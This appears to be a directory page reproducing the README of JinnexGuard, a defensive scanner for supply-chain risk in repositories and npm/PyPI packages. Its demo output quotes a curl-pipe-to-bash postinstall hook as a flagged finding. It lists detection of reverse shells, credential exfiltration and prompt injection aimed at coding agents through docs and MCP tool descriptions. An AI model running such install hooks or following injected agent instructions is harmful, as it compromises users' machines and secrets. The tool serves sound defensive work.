jinnexguard-mcp
Assesses Bitbucket repositories via HTTPS URLs, scanning for risk signals, secrets, dangerous patterns, and other supply-chain concerns.
Assesses Codeberg repositories via HTTPS URLs, scanning for risk signals, secrets, dangerous patterns, and other supply-chain concerns.
Assesses GitHub repositories for supply-chain risk signals, including install-time scripts, dangerous code patterns, secrets, GitHub Actions workflow issues, and repository reputation.
Assesses GitLab repositories via HTTPS URLs, scanning for risk signals, secrets, dangerous patterns, and other supply-chain concerns.
Assesses npm packages by comparing what npm actually installs against the repository it claims to come from, and by scanning for install scripts and other risk signals.
Assesses PyPI packages by comparing the published artifact against its claimed repository and scanning for install-time scripts, secrets, and other risk signals.
This server does not currently have a deployable release on Glama. Follow the repository's setup instructions to install and configure it for your MCP client, including any required credentials and local dependencies.
JinnexGuard
Risk signals for a GitHub repository or an npm/PyPI package, with evidence.
Run it before you install, clone or run something you don't know — before
npx … setup, npm install or pip install. For a package, it compares
what actually gets installed with the repository it claims to come from.
With --sandbox it also installs and runs the target inside a disposable VM
with no network, and reports what it tried to do.
$ jinnexguard ./demo-helper
Target: ./demo-helper (local)
Status: complete — Risk signals, not a trust verdict. Review the evidence of each finding.
Signals: 🔴 1 critical, 🟠 1 high
🔴 [CRITICAL] Downloads and runs a remote script (curl|bash) (scripts/setup.js)
at scripts/setup.js:2
evidence: execSync("curl -fsSL https://get.example.dev/init.sh | bash");
Fetches code from the internet and runs it right away; nobody sees what it is.
🟠 [HIGH] npm runs 'postinstall' on install (package.json)
at package.json:5
evidence: postinstall: node scripts/setup.js
This script runs on its own with `npm install`, without confirmation. It is the classic npm malware vector. Read the whole command.Principles
No "trusted" verdict. A green badge that is wrong is worse than none: it lowers your guard. Some of the worst supply-chain attacks (xz-utils, event-stream) came from projects with a spotless reputation. JinnexGuard surfaces signals with evidence — file, line and the actual snippet — and leaves the judgment to you.
It never runs the target's code on your machine. Repositories are cloned shallow, with git hooks disabled and without submodules; packages are downloaded and extracted as data. Files are only read. The optional
--sandboxruns the code only inside a throwaway virtual machine with no way out to the network (see The sandbox).The engine is pure standard library, on purpose: easy to audit and no dependencies to watch. Only the optional MCP layer adds one (
mcp).
Related MCP server: locklens
Install
Requires Python 3.11+ and git. Works on Linux, macOS and Windows.
pipx install jinnexguard # or: uv tool install jinnexguard
uvx jinnexguard owner/repo # run once without installing
pip install jinnexguard # inside a virtual environmentFor the MCP server, add the mcp extra: pipx install 'jinnexguard[mcp]'.
Usage
jinnexguard owner/repo # a GitHub repository
jinnexguard https://gitlab.com/group/project
jinnexguard ./path/to/a/repo # a local folder
jinnexguard npm:some-package # what npm installs vs. its repository
jinnexguard pypi:some-package==1.2.3 # a specific version
jinnexguard owner/repo --online # add reputation from the GitHub API
jinnexguard ./my-repo --history # secrets anywhere in git history
jinnexguard npm:some-package --sandbox # also install and run it in a VM
jinnexguard owner/repo --json # machine-readable report
jinnexguard owner/repo --full # do not group repeated findingsTargets can be owner/repo, an https:// URL on GitHub, GitLab, Codeberg or
Bitbucket, a local folder, npm:name[@version] or pypi:name[==version].
Exit codes
Code | Meaning |
| Highest severity found: |
| The scan failed or was incomplete — it never passes as clean |
That makes it usable as a gate in a hook or CI job, for example
jinnexguard . || [ $? -lt 3 ] to fail only on high or critical.
As an MCP server
The same server works with any MCP client: Claude Code, Codex, Cursor, Gemini CLI and others. With Claude Code:
claude mcp add --scope user jinnexguard -- uvx --from 'jinnexguard[mcp]' jinnexguard-mcpFor clients configured with JSON:
{
"mcpServers": {
"jinnexguard": {
"command": "uvx",
"args": ["--from", "jinnexguard[mcp]", "jinnexguard-mcp"]
}
}
}It exposes one tool:
assess_repo(target, online=False, history=False, full=False, sandbox=False).
What it checks
In a git repository it scans what a commit would include (tracked files plus
new files that are not ignored); a folder without .git is scanned entirely.
Install-time scripts — npm lifecycle hooks,
setup.pyand Python build backends,.pthfiles, devcontainers, VS Code tasks that start on their own, and dependencies that ship their own install script.Dangerous patterns —
curl | bash, reverse shells, obfuscated code that gets executed, code downloaded and run, hard-coded IP addresses,sudoand friends, invisible bidirectional characters (Trojan Source).Credential theft and exfiltration — reads of local credential files, dumps of the whole environment, data sent to known collection endpoints.
Secrets in the code — provider tokens (GitHub, Anthropic, OpenAI, AWS, Google, Slack, Stripe and more), private keys and hard-coded credentials. Evidence is masked, so the report is safe to share.
Secrets in git history (optional,
--history) — keys that are gone from the current code but still live in a commit.AI agents — what a repository does to, or tells, your coding agent: code that edits agent configuration or adds persistence, instruction files (
SKILL.md,AGENTS.md,CLAUDE.md,.cursorrules…), signs of prompt injection in docs and hidden comments, project settings an agent loads (.claude/settings.json,.mcp.json), and AI CLIs launched without their safeguards.MCP tool descriptions — the text an MCP server sends to the model on every call: tool descriptions (including Python tool docstrings) and parameter descriptions, in Python and JavaScript/TypeScript. That text is part of the prompt and a clean README says nothing about it. JinnexGuard lists it and looks for invisible text, instructions aimed at the agent rather than at describing the tool, and descriptions that are built or downloaded when the server runs. It also prints a fingerprint (SHA-256) of that text: keep it when you approve a server and compare it when you update, to see whether the descriptions changed.
Network destinations — the hosts named in the code, listed in one place so you can see where a tool or an MCP server may talk to, and settings that point your AI agent at someone else's server (
ANTHROPIC_BASE_URL,OPENAI_BASE_URLand similar): through that server pass your prompts, your code and your API key. In the documentation, shortened links and download buttons that send you to another site for the thing you would run.Repository supply chain — GitHub Actions workflows with dangerous triggers or permissions, shell injection in
run:, actions not pinned to a commit SHA, workflows that commit on a timer to fake activity, submodules.Impersonation — package names that are nearly identical to popular ones.
Precompiled binaries — programs, libraries and kernel drivers committed to the repository (Windows, Linux and macOS formats, recognized by their headers and never run), and whether the code, a script or the agent instructions start them. Nobody can check that a binary matches its source.
Published package vs. repository — what
npm installorpip installdownloads does not have to come from the repository shown on its page (the xz-utils backdoor lived in the release tarball, not in git). JinnexGuard downloads the artifact, extracts it as data and compares it with the repository at that version's commit or tag, using provenance (npm SLSA, PyPI Trusted Publishing) when it exists.Reputation (optional,
--online) — age, stars vs. age, owner account. Context, not a verdict.Behaviour when run (optional,
--sandbox) — what the target does when it is installed and imported: the connections it opens and what it sends, DNS lookups, files it writes outside its folder (shell startup files, autostart entries, SSH keys), processes it leaves running, and network tools it calls. For an MCP server, it is started and asked for its tools the way an agent would, and the text it advertises is compared with the code and with a second request a few seconds later.
JinnexGuard looks at a server before you install it. What a running server advertises can still change later, so pair it with a runtime scanner such as Snyk Agent Scan (formerly mcp-scan).
Each finding has a severity (info to critical), a file, a line and the
actual snippet. Repeated findings are grouped with a count and
more_locations; --full (CLI) or full=True (MCP) lists them one by one.
The sandbox
--sandbox is the only part of JinnexGuard that runs the target's code, and it
does so only inside a QEMU/KVM virtual machine created for that scan and
deleted when it ends:
The repository or package is copied into a fresh layer on top of a base image; its dependencies are installed through a proxy on your machine that only lets through the official npm and PyPI registries.
Then it is installed, its install scripts run and it is imported as an unprivileged user, with no network: every DNS lookup and connection goes to a fake server inside the VM that answers and records what was sent. Other traffic is dropped, and a capture taken outside the VM checks that nothing got out.
The findings quote that evidence: the destination, the request, the file or the process.
It needs Linux with KVM (/dev/kvm readable by your user), QEMU and OpenSSH,
and takes a few minutes per target. Prepare it once:
jinnexguard-sandbox setup # builds the VM image here (~350 MB download)
jinnexguard-sandbox status # where it lives and whether it is readyThe image is built on your machine from Debian's official cloud image,
checked against its published hashes, with an SSH key generated for your
installation that JinnexGuard uses only to drive its own VMs over 127.0.0.1.
Everything lives in ~/.local/share/jinnexguard/sandbox; set
JINNEXGUARD_SANDBOX_DIR to put it elsewhere (for example a larger disk).
A target with nothing to install (no package.json, setup.py,
pyproject.toml or requirements.txt) is reported as such and the VM is not
started.
The report quotes untrusted content
Evidence, paths and titles come from the target, and a malicious README could
try to slip an instruction into them for the agent that reads the report. So
evidence is truncated, invisible characters are shown escaped, and every report
carries an untrusted_content field stating that all of it is data, never
instructions.
Limits
JinnexGuard finds signals through patterns; it does not prove that a repository or package is safe.
Development
git clone https://github.com/ricardorincon719/jinnexguard.git
cd jinnexguard
python -m venv .venv && . .venv/bin/activate
pip install -e '.[mcp]'
python -m unittest discover -s testsSecurity
If you find a vulnerability in JinnexGuard itself, please report it privately as described in SECURITY.md, not in a public issue.
License
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
This server cannot be deployed
Maintenance
Related MCP Connectors
Supply chain risk scoring for npm, PyPI, Cargo, and Go. 9 tools. Behavioral signals.
Audit GitHub repos for malicious and supply-chain code before you depend on them.
Generate SBOMs, scan vulnerabilities, and analyze dependencies from local projects or Git repos.
Evaluates any GitHub repository for license risk, maintenance velocity, stars/forks, and supply-c.
Related MCP Servers
- AlicenseAqualityBmaintenanceSupply chain risk scoring for npm, PyPI, and GitHub repos89MIT
- AlicenseNot gradedqualityAmaintenanceEnables auditing npm, Yarn, and pnpm lockfiles in local project directories or remote Git repositories to surface dependency vulnerabilities. Exposes a tool that supports severity thresholds, registry overrides, optional dev-dependency skipping, and text or JSON reports.2 npmMIT
- AlicenseAqualityCmaintenanceEnables AI agents and developers to score npm packages, PyPI packages, and GitHub repositories for maintenance health, producing A–F grades, per-signal details, and plain-language risk lists before adoption. It supports checking individual packages, scanning manifests or lock files for transitive dependencies, and comparing alternatives.3Apache 2.0
- AlicenseNot gradedqualityBmaintenanceEnables AI coding agents to check package names and versions for allow/warn/deny verdicts, scan project lockfiles for known-malicious packages and critical advisories, and suggest safe versions across npm, PyPI, crates.io, and Go before manifests are edited.15 npmMIT